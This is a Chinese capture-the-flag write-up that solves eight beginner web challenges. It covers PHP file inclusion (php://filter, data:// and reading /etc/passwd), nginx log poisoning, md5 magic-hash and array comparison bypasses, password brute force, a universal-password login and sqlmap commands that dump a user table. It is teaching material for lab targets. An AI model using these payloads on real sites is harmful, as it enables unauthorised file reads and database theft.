青少年ctf CheckMe01~08

目录

CheckMe01

CheckMe02

方法一:

 方法二:

CheckMe03

CheckMe04

CheckMe05

 CheckMe06

CheckMe07 

CheckMe08 


CheckMe01

分析代码,情况很明了,我们需要传入字符串"qsnctf"的base64加密字符串即可
输入框可能以post形式传值,所以直接传入参数。
或者hackbar用post传也可以

青少年ctf CheckMe01~08_第1张图片

CheckMe02

分析可知是文件包含的题
青少年ctf CheckMe01~08_第2张图片

首先php伪协议一下
传入url=php://filter/read=convert.base64-encode/resource=index.php 得到php源码

可以看出并没有做任何过滤,这里可以用两种方法

方法一:

通过data://text/plain协议来进行漏洞利用。

传入url=data://text/plain,

青少年ctf CheckMe01~08_第3张图片

 方法二:

查看根目录下的flag

补充知识:
/etc/passwd文件:系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读(r)操作。
url=/etc/passwd    发现可以执行
url=/flag    即可得到flag

青少年ctf CheckMe01~08_第4张图片

CheckMe03

提示不能使用伪协议
先读取文件试一试,/etc/passwd
还是可以读取到文件,接着改成根目录下的flag,/flag

青少年ctf CheckMe01~08_第5张图片

青少年ctf CheckMe01~08_第6张图片

 还有一种方法:通过日志来解析PHP语句

根据nginx配置文件:
?text=../../../etc/nginx/nginx.conf
可以推测access.log文件所在位置为/var/log/nginx/access.log,这个日志文件会记录http请求日志

输入?text=../../../var/log/nginx/access.log

青少年ctf CheckMe01~08_第7张图片

 

 我们通过发送一个包含语句的http请求来写入access.log文件,
这里就要用到burpsuite来拦截请求包,修改里面的User-Agent字段:
然后再通过文件包含漏洞访问access.log日志文件:?text=../../../var/log/nginx/access.log

青少年ctf CheckMe01~08_第8张图片

青少年ctf CheckMe01~08_第9张图片

CheckMe04

比较两个传入参数的md5值是否相同,两个等于号代表弱比较。
PHP:
ctype_alpha()是一个检测函数,用来检测所给参数是不是字母的函数。
is_numeric() 函数用于检测变量是否为数字或数字字符串。
分析一下这段代码,变量a只能为字母,b只能为数字,然后他们各自的MD5值如果想等就输出flag。
这里通过0e截断可以做到,因为0e在是科学计数的语法,0e后面不管多大都是0
所以只需要找到两个0e开头的md5就行了

青少年ctf CheckMe01~08_第10张图片

随便百度下找到两个
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854

青少年ctf CheckMe01~08_第11张图片

CheckMe05

换成了三个等号,意为强类型比较,但是没有对传入数据进行类型判断,所以我们使用数组绕过即可。
a[]=1&b[]=2

青少年ctf CheckMe01~08_第12张图片

 CheckMe06

发现是个登录框,且题目提示给了一个字典,猜测用户admin,爆破密码

青少年ctf CheckMe01~08_第13张图片

青少年ctf CheckMe01~08_第14张图片

CheckMe07 

发现是个登录框,试了下万能密码就出来了

CheckMe08 

同样的登录框,试了下万能密码不行
这里猜测是sql注入,拿出sqlmap跑一跑

青少年ctf CheckMe01~08_第15张图片

由于get没有显示,所以是post请求,所以我们需要BP一下把请求包复制并保存到一个txt文档里。

青少年ctf CheckMe01~08_第16张图片

第一步暴库 :sqlmap -r 66.txt --dbs -batch   爆出库名sql,同时可知是时间盲注

青少年ctf CheckMe01~08_第17张图片

青少年ctf CheckMe01~08_第18张图片

 第二步爆表 :sqlmap -r 66.txt -D sql --tables -batch 爆出表名user

青少年ctf CheckMe01~08_第19张图片

 第三步爆列名 :sqlmap -r 66.txt -D sql -T user --columns -batch 得到列username,password 

青少年ctf CheckMe01~08_第20张图片

 第四步查看password的内容 :sqlmap -r 66.txt -D sql -T user -C password --dump -batch
得到flag

青少年ctf CheckMe01~08_第21张图片

你可能感兴趣的:(刷题笔记,php,web安全)